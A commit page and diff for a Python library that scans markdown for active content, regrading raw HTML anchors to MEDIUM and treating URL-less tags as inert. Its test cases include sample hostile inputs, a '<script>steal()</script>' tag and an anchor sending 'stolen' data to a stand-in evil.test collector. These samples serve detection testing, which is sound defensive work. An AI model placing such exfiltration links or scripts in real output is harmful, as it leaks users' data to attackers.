feat(active-content): raw HTML graded on carrier, and a tag naming no target is inert
Two changes that had to ship together, because they co-occur. `active:raw-html-link` (MEDIUM) splits the click-required carriers out of `active:raw-html`. The same URL was LOW as `[t](url)` and HIGH as `<a href="url">` — an asymmetry produced by syntax, not by affordance, on a carrier the markdown path has graded MEDIUM since 0.3.1. The event-handler test runs first, so `<a onclick=...>` stays HIGH. The url-attribute branch stays HIGH too: a name outside the active set has unknown rendering, and grading `<Card src=...>` as a link would be reasoning rather than measurement. The no-URL narrowing makes `</a>`, `<Frame>`, `<video />` and `<img alt=...>` without `src` inert — `<base />`'s argument from 0.6.0 applied to the rest of the name branch. It tests for the URL attribute's PRESENCE, not for a readable value, so the fail-secure gap `_url_attr_is_external` leaves open is not reopened here. WHY TOGETHER: the narrowing strips a document's `</a>`/`<Frame>` and what remains is the `<a href=...>` the split grades down, so each alone leaves the document blocked by the other's residue. `active_tag_class` is now the classification point and `is_active_tag` wraps it. The census patches the former: a boolean could only express a narrowing, never a regrade, so every carrier candidate would have measured equal to PRODUCTION — silently, and in the direction that reads as "no change helps". TWO COSTS, BOTH RECORDED RATHER THAN GLOSSED: - The split TIGHTENS the trusted tier. One finding becomes two, and >=2 findings at MEDIUM+ trip the compound overlay, so a document carrying both an `<img src>` and an `<a href>` goes WARN -> quarantine_review on PRESET_TRUSTED_SOURCE. On that preset it is the only direction the split can move anything. The census now reports a TIGHTENS column on both trust tiers against the previously shipped row — "frees N" without "tightens M" is a one-sided number. - `count` drops on documents containing `</a>`, a published field moving under a meaning that did not change. MEASURED: reference-corpus (389) 54 -> 53 fail_secure, tightens 0/0, and the census `PRODUCTION` row equals its `C1 + D` candidate row for row. The census also reproduces 133/3/13/108/25 exactly, so it is calibrated against every published historical number. The two wiki corpora are NOT yet re-measured; the tree says so explicitly in the docstring, LIMITATIONS and CHANGELOG rather than carrying probe numbers as fact. 791 tests (was 759), coverage 129/129, 6/6 documented gaps holding. Version bumped to 0.7.0 across every surface; no tag is set until the measurement lands.
This commit is contained in:
parent
0df7e87c2f
commit
fcfaee4589
18 changed files with 544 additions and 99 deletions
|
|
@ -63,7 +63,7 @@ from .grounding import (
|
|||
)
|
||||
from . import okf
|
||||
|
||||
__version__ = "0.6.1"
|
||||
__version__ = "0.7.0"
|
||||
|
||||
|
||||
# --- §6 bookends: the two library-side halves around the transform ---------
|
||||
|
|
|
|||
|
|
@ -40,6 +40,38 @@ XML has no affordance in any renderer. Measured together rather than one at a ti
|
|||
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
|
||||
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
|
||||
|
||||
**Raw HTML grades on carrier too, and a tag that names no target is inert**
|
||||
(0.7.0). Two changes that had to ship together, because they co-occur:
|
||||
|
||||
* the *carrier split* — ``<a>``/``<area>`` are click-required, so they report as
|
||||
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
|
||||
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
|
||||
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
|
||||
* the *no-URL narrowing* — a tag whose entire affordance IS the URL it names
|
||||
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
|
||||
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
|
||||
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
|
||||
``<img alt=...>`` without ``src``.
|
||||
|
||||
They had to ship together because they co-occur: the narrowing strips a document's
|
||||
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
|
||||
down, so each change alone leaves the document blocked by the other's residue. The
|
||||
split never lets a document reach WARN — it converts a hard block into a human
|
||||
review, which is the difference a consumer actually feels and the reason the census
|
||||
reports ``fail_secure`` alongside non-WARN.
|
||||
|
||||
**Measured, on reference-corpus (389 documents) at one corpus state:** 54
|
||||
``fail_secure`` under ``PRESET_USER_UPLOAD`` before, 53 after; the pair unblocks 1,
|
||||
and tightens 0 on both trust tiers. That corpus was already emptied of raw-HTML
|
||||
drivers by the 0.6.0 narrowing, so it bounds the change rather than showing its
|
||||
value. **The two wiki corpora, where the volume is, are NOT yet re-measured through
|
||||
the census — see ``docs/LIMITATIONS.md`` for what is and is not measured.**
|
||||
|
||||
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
|
||||
outside the active set has unknown rendering and ``href`` is not the only URL
|
||||
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
|
||||
not measurement.
|
||||
|
||||
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
|
||||
primitive is not "an image" — it is a URL that moves bytes to a host the
|
||||
attacker controls. ```` carries nothing
|
||||
|
|
@ -49,8 +81,12 @@ document with one remote image fail-secured). :func:`is_ordinary_url` separates
|
|||
the two axes: a URL that only *names* a remote document is
|
||||
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
|
||||
a query, userinfo, percent-escapes, or an opaque host label / path segment —
|
||||
keeps the carrier's full severity. ``raw-html`` and ``data:`` URIs have no
|
||||
ordinary form and stay HIGH unconditionally: they are active whatever the URL.
|
||||
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
|
||||
ordinary form and keep their carrier's severity unconditionally — HIGH for
|
||||
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
|
||||
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
|
||||
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
|
||||
buys little, and it would add a third tier to a class nobody asked to have three.
|
||||
|
||||
The opacity test reuses ``entropy``'s primitives rather than inventing a second
|
||||
heuristic, and it is a *backstop*, not the main line of defence: a literal
|
||||
|
|
@ -200,6 +236,21 @@ _ACTIVE_TAGS = frozenset({
|
|||
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
|
||||
# keeps the full set — see the module docstring.
|
||||
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
|
||||
# Tags whose entire active affordance IS the URL they name. Carrying no URL
|
||||
# attribute at all, they name no target, so no renderer can fetch or follow them
|
||||
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
|
||||
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
|
||||
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
|
||||
# end tags and MDX wrapper components dominate.
|
||||
# Everything else in the name set does something a URL cannot describe —
|
||||
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
|
||||
# active with no attributes at all.
|
||||
_URL_AFFORDANCE_TAGS = frozenset({
|
||||
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
|
||||
})
|
||||
# Click-required carriers: following one needs a human, exactly like a markdown
|
||||
# inline link. Everything else the renderer fetches or executes unattended.
|
||||
_LINK_TAGS = frozenset({"a", "area"})
|
||||
|
||||
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
|
||||
# Reading the value needs the same literal alternation with the value attached, so
|
||||
|
|
@ -236,12 +287,42 @@ def _url_attr_is_external(attrs: str) -> bool:
|
|||
return not seen
|
||||
|
||||
|
||||
def active_tag_class(name: str, attrs: str) -> str | None:
|
||||
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
|
||||
|
||||
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
|
||||
everything the renderer acts on unattended. The event-handler test runs
|
||||
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
|
||||
execute-class carrier it is rather than downgraded with the anchors.
|
||||
"""
|
||||
lowered = name.lower()
|
||||
if _EVENT_ATTR_RE.search(attrs):
|
||||
return "raw-html"
|
||||
# Presence, not a readable value: a URL attribute whose value this module
|
||||
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
|
||||
# fail-secure gap. The corpora carry 0 of these today — empirical, not
|
||||
# structural, so the predicate must not depend on that holding.
|
||||
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
|
||||
if lowered in _SCANNER_ACTIVE_TAGS:
|
||||
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
|
||||
return None
|
||||
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
|
||||
# A name outside the active set is active only through its URL attribute, and
|
||||
# stays on the HIGH side: its rendering is unknown and `href` is not the only
|
||||
# URL attribute it may carry. Measured cost of that conservatism: one
|
||||
# document per wiki corpus.
|
||||
if has_url_attr and _url_attr_is_external(attrs):
|
||||
return "raw-html"
|
||||
return None
|
||||
|
||||
|
||||
def is_active_tag(name: str, attrs: str) -> bool:
|
||||
"""True if a tag is active for the SCANNER: executing element, event handler,
|
||||
or a URL attribute pointing at an external target."""
|
||||
if name.lower() in _SCANNER_ACTIVE_TAGS or _EVENT_ATTR_RE.search(attrs):
|
||||
return True
|
||||
return bool(_URL_ATTR_RE.search(attrs)) and _url_attr_is_external(attrs)
|
||||
"""True if a tag is active for the SCANNER, in either carrier class.
|
||||
|
||||
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
|
||||
measure a candidate predicate, and consumers import it by name.
|
||||
"""
|
||||
return active_tag_class(name, attrs) is not None
|
||||
|
||||
|
||||
def is_defangable_tag(name: str, attrs: str) -> bool:
|
||||
|
|
@ -416,18 +497,24 @@ def scan_active_content(
|
|||
_flag("autolink", autos)
|
||||
|
||||
# Raw HTML is active whatever its URL looks like (an event handler needs no
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form.
|
||||
html: list[tuple[str, bool]] = []
|
||||
# URL at all), so every tag is flagged as carrying — no ordinary form. The
|
||||
# two carrier classes are collected separately: a document holding both a
|
||||
# `<script>` and an `<a href>` must not lose the anchor behind the script,
|
||||
# nor grade the script down to the anchor's severity.
|
||||
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
|
||||
|
||||
def _tag(m: re.Match[str]) -> str:
|
||||
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
|
||||
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
|
||||
if cls is None:
|
||||
return m.group(0)
|
||||
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
html[cls].append(
|
||||
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
|
||||
return " " * len(m.group(0))
|
||||
|
||||
masked = HTML_TAG_RE.sub(_tag, masked)
|
||||
if html:
|
||||
_flag("raw-html", html)
|
||||
for cls in ("raw-html", "raw-html-link"):
|
||||
if html[cls]:
|
||||
_flag(cls, html[cls])
|
||||
|
||||
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
|
||||
# outright, so this stays HIGH through the same path as the rest.
|
||||
|
|
|
|||
|
|
@ -129,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
|
||||
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
|
||||
# asymmetry that came from syntax rather than affordance. Following an anchor
|
||||
# needs a human, so it grades with the other click-required carriers.
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
|
|||
f"", owasp="LLM05"),
|
||||
_scan_case("active", "raw active HTML", "active:raw-html",
|
||||
"<script>steal()</script>", owasp="LLM05"),
|
||||
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
|
||||
# with the markdown link rather than with the zero-click carriers. It is
|
||||
# its own class, and recall for it is demonstrated separately — a label a
|
||||
# consumer can pin needs a row here, or 128/128 would silently exclude it.
|
||||
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
|
||||
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
|
||||
_scan_case("active", "standalone data: URI in prose", "active:data-uri",
|
||||
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
|
||||
_predicate_case("active", "ordinary document is NOT over-blocked", "warn",
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue